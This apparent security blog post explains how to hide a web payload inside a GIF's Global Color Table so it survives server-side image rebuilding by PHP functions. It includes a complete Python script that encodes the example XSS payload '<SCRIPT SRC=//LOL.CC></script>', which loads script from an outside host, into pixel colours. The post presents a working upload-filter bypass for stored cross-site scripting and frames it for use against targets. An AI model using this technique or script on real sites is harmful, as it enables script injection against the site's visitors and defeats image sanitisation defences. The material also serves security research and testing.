Skip to main content

Sorcery Blog

Embedding Payloads in GIF File Using the Global Color Table

Some vulnerabilities require you to have a file on the server containing your payload. One common mechanism for this is through image uploads. There is a variety of techniques people use for this such as embedding the payload in EXIF data, image comments or bypassing the upload form by adding a fake GIF header to the start of the file.

These techniques work a lot of the time but they may often be hampered by manipulations and optimizations by the target such as stripping exif data, more thorough checking of the image validity, rebuilding the image.

This technique is similar to the PNG IDAT chunks method but is more flexible and does not require bruteforcing.

Global Color Table

The Global Color Table is a series of RGB values that follows the GIF header and the Logical Screen Descriptor at the start of a GIF file.

It’s used to store the RGB values used in the rest of the file, this allows for small file sizes as the index in the color table can be used to refer to a color instead of the full RGB value.

Approach

We take our payload (eg. <SCRIPT SRC=//LOL.CC></script>) and split it into chunks of 3 characters (<SC, RIP, T S…).

Each of these chunks must be unique but our original payload can include the same sequence of 3 characters more than once by putting in spaces or other adjustments (capitalisation, syntax, whitespace characters). For example: ABCABC becomes [ 'ABC', 'ABC' ] so that won’t work but ABC ABC becomes [ 'ABC', ' AB', 'C' ] so that will work.

These chunks become the colors where each character is the RGB value.

We then just add the payload colors to the image in order, repeating to fill the desired image size.

In my usecase the payload needed to remain after the image was remade with the PHP functions imagecreatefromgif and imagecopyresampled and the GCT was rebuilt in order of when each color was first seen. In some settings the GCT is in order of occurence of the color, in that case you will need to make the first payload color more common than the second and so on in your script.

One case my script does not work in is if imagecreatetruecolor is used, some more work must be done to figure that out but I don’t need it for the scenario that led me to doing this.

Script

Install Pillow:

python3 -m pip install --upgrade Pillow

generate.py:

#!/bin/python
from PIL import Image
import random

def color_to_ascii(color):
    return chr(color[0]) + chr(color[1]) + chr(color[2])

def duplicates(array):
    seen = set()
    return { val for val in array if (val in seen or seen.add(val)) }

def create_custom_gif(output_path, colors, width=100, height=100):
    if not colors:
        raise ValueError("At least one color must be provided")
    
    img = Image.new('RGB', (width, height))
    pixels = []
    
    count = dict()
    color_pos = 0
    for _ in range((width * height)//10):
        pixel_color = colors[color_pos]
        color_pos += 1
        if color_pos >= len(colors):
            color_pos = 0
        print(color_to_ascii(pixel_color))
        for _ in range(10):
            if pixel_color not in count:
                count[pixel_color] = 0
            count[pixel_color]+=1
            pixels.append(pixel_color)
    img.putdata(pixels)
    img.save(
        output_path,
        save_all=True,
        version='87a'
    )
    
    print(f"GIF created successfully at {output_path}")

if __name__ == "__main__":
    payload = "<SCRIPT SRC=//LOL.CC></script>"
    payload = payload.encode().hex()
    payload = [int(payload[i:i+2],16) for i in range(0,len(payload),2)]
    while len(payload)%3 != 0:
        payload.append(random.randint(0, 255))
    
    custom_colors = []
    for i in range(0, len(payload), 3):
        color = (payload[i], payload[i+1], payload[i+2])
        custom_colors.append(color)
    dupes = duplicates(custom_colors)
    if dupes:
        print(f"Error: Duplicate colors found, make sure every 3 characters is unique: {[color_to_ascii(c) for c in dupes]}")
    else:
        create_custom_gif(
            output_path="generated.gif",
            colors=custom_colors,
            width=100,
            height=100
        )